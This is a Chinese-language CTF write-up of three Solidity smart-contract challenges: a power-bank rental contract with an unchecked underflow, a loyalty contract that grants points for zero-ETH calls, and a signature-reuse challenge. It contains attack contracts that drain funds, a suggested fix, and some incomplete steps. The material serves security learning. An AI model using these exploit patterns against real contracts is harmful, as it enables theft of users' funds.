1.充电宝 题: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; //一个新型共享充电宝租借系统,整点动静,给粗心的项目方一点小小的震撼 //复制粘贴到remix本地测试即可,不改变代码的情况下,调用falg函数返回true视为成功 contract PowerBankRental { uint256 public totalUnits = 5; //记录实际有多少个充电宝 mapping(address => uint) public deposits; function rent() external payable { require(msg.value == 1 ether, "Need 1 ETH"); require(totalUnits >= 0, "Out of stock"); unchecked{ totalUnits--; } deposits[msg.sender] += msg.value; } function returnAll() external { require(deposits[msg.sender] > 0, "No deposit"); totalUnits++; uint256 amount = deposits[msg.sender]; deposits[msg.sender] = 0; (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Refund failed"); } function falg(address attacker) external view returns (bool) { return (totalUnits >= 5 && deposits[attacker] > 0); } } }
我的解题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 /*首先看原代码看到了显目的unchecked unchecked{ totalUnits--; } 然后看falg函数返回“true”的条件: totalUnits >= 5 && deposits[attacker] > 0 则要尝试让数量一直大于5且一直有押金在 对于第一个 因为有uncheck,直接调用rent()超过5次即可使这个表示数量的参数下滥,然后它就变成极大值就一直满足第一个条件了; 对于第二个,我想法是有钱就行,那就前五次调用后都归还(return.All())(归还就是2^256-1+5,还是很大),然后最后再调用rent,这样表示数量的参又大于5,付给系统的租金也不是0(>0) */
Account切换不同账号来借充电宝:
变成0后再借一次,就会发现:
前面5个账号再分别returnAll()退掉
然后在flag那里输入我rent()时的地址
可得:
攻击合约: 1 2 3 4 5 6 7 8 9 10 11 12 13 contract Hack { PowerBankRental target; uint256 counter; constructor(address _target) { target = PowerBankRental(_target); } function attack() external payable { for (uint i = 0; i < 6; i++) { target.rent{value: 1 ether}(); } }
2. LoyaltyProgram 题 :你发现了一个“忠诚计划”合约 LoyaltyProgram,它奖励用户通过支付 ETH 来积累“忠诚点数”(loyaltyPoints)。当你的点数达到一定值时,你将被认证为“忠诚会员”,并解锁特殊权限。
请在remix上部署LoyaltyProgram
合约时存入 1 ehter 为起始资金。
挑战目标:
将 isCertified 设置为 true。并提取合约中所有资金。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract LoyaltyProgram { mapping(address => uint256) public loyaltyPoints; mapping(address => uint256) public lastPaymentTime; bool public isCertified; uint256 public constant TARGET_POINTS = 4; address public owner; uint256 public totalFunds; event Payment(address indexed payer, uint256 amount); event PointsEarned(address indexed member, uint256 points); event Certified(address indexed member); constructor() payable { require(msg.value >= 1 ether, "Program requires 1 ETH to start"); owner = msg.sender; totalFunds = msg.value; isCertified = false; } function payLoyaltyFee() external payable { require(!isCertified, "Program already certified!"); totalFunds = address(this).balance; uint256 payment = msg.value; lastPaymentTime[msg.sender] = block.timestamp; if (payment >= 0.5 ether) { loyaltyPoints[msg.sender] += payment / 0.5 ether; } else if (payment > 0 && payment < 0.5 ether) { loyaltyPoints[msg.sender] += 1; } else if (totalFunds > 0 && lastPaymentTime[msg.sender] > 0) { loyaltyPoints[msg.sender] += 1; } emit Payment(msg.sender, payment); emit PointsEarned(msg.sender, loyaltyPoints[msg.sender]); if (loyaltyPoints[msg.sender] >= TARGET_POINTS) { isCertified = true; emit Certified(msg.sender); } } function claimReward() external { require(isCertified, "Not certified yet"); require(loyaltyPoints[msg.sender] >= TARGET_POINTS, "Not enough points"); uint256 reward = address(this).balance; totalFunds = 0; (bool success, ) = msg.sender.call{value: reward}(""); require(success, "Transfer failed"); } function getPoints(address member) external view returns (uint256) { return loyaltyPoints[member]; } // 接收 ETH 的回调 receive() external payable { totalFunds += msg.value; } }
我的解题: 首先 1ether开始
然后阅读代码,结合题意的文字描述,大概是积分大于等于四分就是会员了;
然后是了解这个加分机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (payment >= 0.5 ether) { loyaltyPoints[msg.sender] += payment / 0.5 ether; } //支付大于等于 0.5 ETH时,1ETH = 2分 else if (payment > 0 && payment < 0.5 ether) { loyaltyPoints[msg.sender] += 1; } //支付0-0.5个时,就是1分 else if (totalFunds > 0 && lastPaymentTime[msg.sender] > 0) { loyaltyPoints[msg.sender] += 1; //这个我理解的是 当你之前支付过一次后,如果你再来用0ETH调用一下(类似于签到?),还是给你加一分 }
那么现在的目的应该是用最少的eth达到会员然后再把钱取走。
我的思路是:第一次先支付很少很少(1 wei),然后后期一直调用 payLoyaltyFee()
发送 0 ETH三次 ,来得到四分,从而获得奖励。
第一步
第二步 0wei调用三次payLoyaltyFee()
第三步
填上调用者地址 然后看这两个函数 应该就可以了、
攻击合约:
payLoyaltyFee()
函数没有验证支付金额(msg.value
),允许攻击者通过发送0 ETH多次调用来积累忠诚度。
该条件分支 **没有检查 msg.value > 0
**,这是致命漏洞
逻辑错误:应该用 payment > 0
而非 totalFunds > 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // 忠诚度计划接口 interface ILoyaltyProgram { function payLoyaltyFee() external payable; // 支付忠诚度费用 function loyaltyPoints(address member) external view returns (uint256); // 查询忠诚度点数 function isCertified() external view returns (bool); // 检查是否认证 function claimReward() external; // 领取奖励 } contract LoyaltyExploit { ILoyaltyProgram public target; // 目标 LoyaltyProgram 合约地址 address public attacker; // 攻击者地址 uint256 public constant REQUIRED_CALLS = 5; // 需要调用5次触发漏洞 event ExploitSuccess(address indexed attacker, uint256 points); // 攻击成功事件 // 构造函数:初始化目标合约和攻击者地址 constructor(address _target) { target = ILoyaltyProgram(_target); // 设置目标合约 attacker = msg.sender; // 设置攻击者为部署者 } // 攻击函数:通过多次调用payLoyaltyFee利用漏洞 function exploit() external { require(msg.sender == attacker, "Only attacker can exploit"); // 只有攻击者能调用 // 循环调用5次payLoyaltyFee(不发送ETH) for (uint256 i = 0; i < REQUIRED_CALLS; i++) { target.payLoyaltyFee{value: 0}(); // 关键漏洞利用点:免费增加忠诚度 } // 验证攻击是否成功 uint256 finalPoints = target.loyaltyPoints(address(this)); // 获取当前合约的忠诚度 require(finalPoints >= 4, "Failed to reach target points"); // 确保点数足够 require(target.isCertified(), "Certification not achieved"); // 确保获得认证 emit ExploitSuccess(attacker, finalPoints); // 触发成功事件 } // 提取奖励函数 function withdrawReward() external { require(msg.sender == attacker, "Only attacker can withdraw"); // 只有攻击者能提取 // 从目标合约领取奖励(可能包含ETH) target.claimReward(); // 将合约内的ETH转给攻击者 uint256 balance = address(this).balance; if (balance > 0) { (bool success, ) = attacker.call{value: balance}(""); require(success, "Transfer to attacker failed"); } } // 接收ETH的回退函数 receive() external payable {} }
为什么不需要转入那1wei:
1 lastPaymentTime[msg.sender] = block.timestamp; // 每次调用都会更新!
payLoyaltyFee()
函数中无条件更新 了lastPaymentTime
这个赋值操作发生在条件判断之前
因此即使是0 ETH调用,也会先记录时间戳,使后续检查lastPaymentTime > 0
永远为真
攻击流程解析:
第一次调用 (value=0
):
先执行:lastPaymentTime[攻击合约] = block.timestamp
(设为当前时间)
然后检查条件:
payment == 0
→ 跳过第一个条件
payment < 0.5 ether
→ 跳过第二个条件
totalFunds > 0 && lastPaymentTime > 0
→ 满足! (因为时间戳刚被设置)
结果:获得1点
后续调用 :
修改漏洞: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function payLoyaltyFee() external payable { require(msg.value > 0, "Payment required"); // 必须添加的防护 uint256 payment = msg.value; totalFunds += payment; // 先进行条件判断 if (payment >= 0.5 ether) { loyaltyPoints[msg.sender] += payment / 0.5 ether; } else { loyaltyPoints[msg.sender] += 1; } // 最后更新时间戳 lastPaymentTime[msg.sender] = block.timestamp; // ... }
漏洞本质: 这是典型的执行顺序漏洞 ,关键问题在于:
时间戳更新操作放在了条件判断之前
没有对msg.value == 0
的情况做防护
3.签名 题: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.28; //备注,此合约地址为部署者地址,每次做题前,请用部署者合约的deploy函数来部署自己的题目地址 //请勿提交相同答案,不然算抄袭 //0xD5bc07F7c1d70f720Fe1C586EbD9a942F6689B68 //通过条件,有个isSolved函数,返回true即可 contract Deployer { address[] public deployed; event ChallengeDeployed(address indexed challengeAddress); function deploy() external returns (address) { challenge newChallenge = new challenge(); address challengeAddress = address(newChallenge); deployed.push(challengeAddress); emit ChallengeDeployed(challengeAddress); return challengeAddress; } function getDeployedCount() external view returns (uint256) { return deployed.length; } function getAllDeployed() external view returns (address[] memory) { return deployed; } function isSolved(address _address) public view returns (bool) { for (uint256 i = 0; i < deployed.length; i++) { if (challenge(deployed[i]).isSolved(_address)) { return true; } } return false; } } contract challenge { struct Message { uint8 v; bytes32 r; bytes32 s; } address csl; bytes32 alreadyUsedMessageHash; mapping(address => bool) public isCompleted; constructor() {} function isSolved(address _address) public view returns (bool) { return isCompleted[_address]; } function getMessageHash(address _csl) public view returns (bytes32) { return keccak256(abi.encodePacked("I want to open the magic box", _csl, address(this), block.chainid)); } function _getSignerAndMessageHash(Message memory _message) internal view returns (address, bytes32) { address signer = ecrecover(getMessageHash(msg.sender), _message.v, _message.r, _message.s); bytes32 messageHash = keccak256(abi.encodePacked(_message.v, _message.r, _message.s)); return (signer, messageHash); } function toSign(Message memory message) external { require(csl == address(0), "CSL already signed in"); (address signer, bytes32 messageHash) = _getSignerAndMessageHash(message); require(signer == msg.sender, "Invalid message"); csl = signer; alreadyUsedMessageHash = messageHash; } function toSolve(Message memory message) external { require(csl == msg.sender, "Only CSL can open the box"); (address signer, bytes32 messageHash) = _getSignerAndMessageHash(message); require(signer == msg.sender, "No key No way"); require(messageHash != alreadyUsedMessageHash, "used?"); isCompleted[msg.sender] = true; } }
我的解题: 重点阅读代码中函数toSign()和toSolve()
了解到:
1.签名者必须是调用函数者
2.一个地址只能签一次(大概理解意思,不确定 但是看得出同一个不能签两次)
3.调用tosign()时候地址未设置
csl == address(0)
思路:
先Deploy()
应该是tosign和tosolve的签名不能重复
得到与keccak256(abi.encodePacked(…))一样 的哈希值
总结&构造一下这个合约所需要的签名参数
(根据getMessageHash())
{
}
过程:
1.部署Deployer合约
得到:
然后签名
1 2 3 4 5 6 7 8 9 const hash = web3.utils .soliditySha3 ( "I want to open the magic box" , addr, c_addr, chainId ); const signature = await web3.eth .sign (hash, userAddress);
签名后得到v,r,s
换个ID再签名
攻击合约